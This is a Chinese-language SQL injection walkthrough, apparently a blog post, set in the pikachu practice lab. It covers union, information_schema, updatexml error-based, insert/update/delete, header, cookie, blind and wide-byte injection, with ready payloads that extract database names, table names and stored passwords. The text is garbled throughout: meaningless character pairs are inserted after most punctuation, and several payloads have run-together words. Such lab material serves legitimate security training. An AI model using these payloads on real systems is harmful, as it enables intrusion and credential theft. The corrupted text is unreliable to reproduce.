一.本文介紹
1踊淳、本文介紹手動聯(lián)合查詢注入假瞬、information_schema注入陕靠、函數(shù)報錯注入、insert注入脱茉、update注入剪芥、dalete注入、Http Header注入琴许、Cookie注入税肪、Boolian(布爾型)盲注、時間型盲注榜田、寬字節(jié)注入益兄。
2、pikachu靶機環(huán)境串慰。
二.手動注入
1偏塞、聯(lián)合查詢union注入:
1、union操作符用于合并兩個或多個SQL語句集合起來邦鲫。一般與order??by語句配合使用灸叼。
2、先測試字段長度:a' order by1#% 庆捺、a' order by2#% 古今、a' order by3#% 、a' order by4#% .滔以。
3捉腥、當(dāng)測試到?a' order by3#% 時,如圖一所示你画,說明查詢字段準(zhǔn)確抵碟;當(dāng)測試到:a' order by?4#% 時:出現(xiàn):Unknown column '4' in 'order clause' 。那么可以確定坏匪,查詢的字段長度為3拟逮。
4、構(gòu)造語句:a' union select database(),user(),version()#%
圖一
圖二
2适滓、information_schema注入:
若MySQL的版本大于5.0敦迄,則MySQL中有一個很方便的系統(tǒng)庫information_schema,其中存放著數(shù)據(jù)庫名凭迹、表名罚屋、列名、用戶等一系列信息嗅绸。
SCHEMATA表:提供了當(dāng)前mysql實例中所有數(shù)據(jù)庫的信息脾猛。是show databases的結(jié)果取之此表。
TABLES表:提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)鱼鸠。詳細(xì)表述了某個表屬于哪個schema尖滚,表類型喉刘,表引擎,創(chuàng)建時間等信息漆弄。是show tables from schemaname的結(jié)果取之此表睦裳。
COLUMNS表:提供了表中的列信息。詳細(xì)表述了某張表的所有列以及每個列的信息撼唾。是show columns from schemaname.tablename的結(jié)果取之此表廉邑。
STATISTICS表:提供了關(guān)于表索引的信息。是show index from schemaname.tablename的結(jié)果取之此表倒谷。
USER_PRIVILEGES(用戶權(quán)限)表:給出了關(guān)于全程權(quán)限的信息蛛蒙。該信息源自mysql.user授權(quán)表。是非標(biāo)準(zhǔn)表渤愁。
SCHEMA_PRIVILEGES(方案權(quán)限)表:給出了關(guān)于方案(數(shù)據(jù)庫)權(quán)限的信息牵祟。該信息來自mysql.db授權(quán)表。是非標(biāo)準(zhǔn)表抖格。
TABLE_PRIVILEGES(表權(quán)限)表:給出了關(guān)于表權(quán)限的信息诺苹。該信息源自mysql.tables_priv授權(quán)表。是非標(biāo)準(zhǔn)表雹拄。
COLUMN_PRIVILEGES(列權(quán)限)表:給出了關(guān)于列權(quán)限的信息收奔。該信息源自mysql.columns_priv授權(quán)表。是非標(biāo)準(zhǔn)表滓玖。
CHARACTER_SETS(字符集)表:提供了mysql實例可用字符集的信息坪哄。是SHOW CHARACTER SET結(jié)果集取之此表。
COLLATIONS表:提供了關(guān)于各字符集的對照信息势篡。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校對的字符集翩肌。這些列等效于SHOW COLLATION的前兩個顯示字段。
TABLE_CONSTRAINTS表:描述了存在約束的表禁悠。以及表的約束類型绷蹲。
KEY_COLUMN_USAGE表:描述了具有約束的鍵列拦英。
ROUTINES表:提供了關(guān)于存儲子程序(存儲程序和函數(shù))的信息。此時,ROUTINES表不包含自定義函數(shù)(UDF)。名為“mysql.proc name”的列指明了對應(yīng)于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:給出了關(guān)于數(shù)據(jù)庫中的視圖的信息。需要有show views權(quán)限睁本,否則無法查看視圖信息。
TRIGGERS表:提供了關(guān)于觸發(fā)程序的信息骂维。必須有super權(quán)限才能查看該表
其中有三個比較重要的表:
information_schema.schemata:存放著所有數(shù)據(jù)庫的信息
information_schema.tables:存放著所有數(shù)據(jù)表的信息
information_schema.columns:存放著所有列的信息
使用group_concat(table_name)會更強大潦刃。
獲取pikachu數(shù)據(jù)庫的表名 :u'union select table_schema ,table_name,3 from information_schema.tables wheretable_schema='pikachu'# 畏吓;如圖一
獲取pikachu數(shù)據(jù)庫的字段名: k' union select table_name,column_name,3 frominformation_schema.columns where table_name='users'#%菲饼;如圖二
最后獲取字段值的內(nèi)容:kobe'union select username ,password,3 fromusers#%?肾砂;如圖三
圖一
圖二
圖三
3、基于函數(shù)報錯注入
在MYSQL中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的信息巴粪,常見的select/insert/update/delete注入都可以使用報錯方式來獲取信息通今。后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端。
三個常用的用來報錯的函數(shù)
updatexml():函數(shù)是MYSQL對XML文檔數(shù)據(jù)進行查詢和修改的XPATH函數(shù).
?extractvalue():函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進行查詢的XPATH函數(shù).
? floor():MYSQL中用來取整的函數(shù).
報錯的信息獲取
UPDATEXML(XML_document, XPath_string,new_value);
XML_document是String格式肛根,為XML文檔對象的名稱辫塌,文中為Doc
XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法派哲,可以在網(wǎng)上查找教程臼氨。
new_value,String格式芭届,替換查找到的符合條件的數(shù)據(jù)
1储矩、爆數(shù)據(jù)庫版本信息:?k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)?#
2、爆數(shù)據(jù)庫當(dāng)前用戶:? k' and ?updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#
3褂乍、爆數(shù)據(jù)庫k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #
4持隧、爆表獲取數(shù)據(jù)庫表名,輸入:k'andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='pikachu')),0)#逃片,但是反饋回的錯誤表示只能顯示一行屡拨,所以采用limit來一行一行顯示
輸入k' and updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='pikachu'limit0,1)),0)#更改limit后面的數(shù)字limit 0完成表名遍歷;如圖一
5褥实、爆字段獲取字段名呀狼,輸入:k' andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name='users'limit 2,1)),0)#
6、爆字段內(nèi)容獲取字段內(nèi)容损离,輸入:k' and? updatexml(1,concat(0x7e,(select password fromusers limit 0,1)),0)#? 哥艇;如圖二
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如有任何一個參數(shù)為NULL 僻澎,則返回值為 NULL貌踏。通過查詢@@version,返回版本。然后CONCAT將其字符串化窟勃。因為UPDATEXML第二個參數(shù)需要Xpath格式的字符串,所以不符合要求祖乳,然后報錯。
圖一
圖二
4拳恋、insert注入
insert注入凡资,就是前端注冊的信息最終會被后臺通過insert這個操作插入數(shù)據(jù)庫砸捏,后臺在接受前端的注冊數(shù)據(jù)時沒有做防SQL注入的處理谬运,導(dǎo)致前端的輸入可以直接拼接SQL到后端的insert相關(guān)內(nèi)容中隙赁,導(dǎo)致了insert注入。
語法:?admin'or updatexml(1,concat(0x7e,(命令)),0) or'
1.爆表名
?admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2.爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3.爆內(nèi)容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
5梆暖、update注入
與insert注入的方法大體相同伞访,區(qū)別在于update用于用戶登陸端,insert用于用于用戶注冊端轰驳。
' or updatexml(0,concat(0x7e,(database())),0) or'
6厚掷、dalete注入
在ID后面寫,空格要轉(zhuǎn)編碼(%20)级解,不用加單引號(')
一般應(yīng)用于前后端發(fā)貼冒黑、留言、用戶等相關(guān)刪除操作勤哗,點擊刪除按鈕時可通過Brup Suite抓包抡爹,對數(shù)據(jù)包相關(guān)delete參數(shù)進行注入,注入方法:delete from message where id=56or updatexml(2,concat(0x7e,(database())),0)
7芒划、Http Header注入
在已加密的包中修改冬竟,未加密的修改無效?
先在pikachu平臺打開Http Header注入模塊,點擊提示查看登錄帳號和密碼民逼,登陸后去BurpSuite中找到登陸地GET請求泵殴,把請求發(fā)送到Repeater模塊中,去除User-Agent:拼苍,然后輸入' 然后運行后觀察MYSQL語法報錯然后發(fā)現(xiàn)存在SQL注入漏洞笑诅。這時候可以設(shè)置payload。在User-Agent輸入payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
8映屋、Cookie注入
?Cookie是網(wǎng)站為了識別用戶身份來跟蹤會話的苟鸯,雖然Cookie是由后端生成的,但每次頁面跳轉(zhuǎn)棚点,后端都回對前端的Cookie的信息進行驗證早处,但如果后端獲取Cookie后放在數(shù)據(jù)庫中進行拼接,那么這也將是一個SQL注入點瘫析。在 ant[uname]=admin后添加一個’觀察反饋的MYSQL的語法報錯砌梆,發(fā)現(xiàn)了存在SQL注入漏洞,在設(shè)置Payload 'and updatexml (1,concat(0x7e,database()),0)#,觀察報錯和之前是否相同贬循。
SQL盲注分為三大類:
基于布爾型SQL盲注咸包、基于時間型SQL盲注、基于報錯型SQL盲注
9杖虾、Boolian(布爾型)盲注
介紹:盲注烂瘫,即在SQL注入過程中,SQL語句執(zhí)行選擇后,選擇的數(shù)據(jù)不能回顯到前端坟比,我們需要使用一些特殊的方法進行判斷或嘗試芦鳍,這個過程稱為盲注。
1葛账、通過嗅探得出數(shù)據(jù)庫名稱(vince' and ascii(substr(database(),1,1))=112#)
直到把數(shù)據(jù)庫的全名探測出來為止
10柠衅、base on time(時間型)盲注
1、判斷是否存在注入點籍琳,如果存在注入點則該界面會查詢6秒(6秒是參數(shù)中設(shè)置的查詢時間)(vince' and sleep(6)#)
注意:Asc碼盲注不不適用于 時間型盲注菲宴。
11、寬字節(jié)注入
簡介:
當(dāng)我們把php.ini文件里面的magic_quotes_gqc參數(shù)設(shè)為ON時趋急,所有的'(單引號)喝峦,"(雙引號),\(反斜杠)和null字符都會被自動加上一個反斜杠進行轉(zhuǎn)義呜达。還有很多函數(shù)有類似的作用如:addslashes()愈犹、mysql_escape_string()、mysql_real_escape_string()等闻丑,另外還有parse_str()后的變量也受magic_quotes_gpc的影響漩怎。目前大多數(shù)的主機都打開了這個選項,并且很多程序員也注意使用上面那些函數(shù)去過濾變量嗦嗡,這看上去很安全勋锤,很多漏洞查找者或者工具遇到這些函數(shù)過濾后的變量直接就放棄,但是就在他們放棄的同時也放過很多致命的安全漏洞侥祭。
1叁执、寬字節(jié)注入(kobe%df' or 1=1#)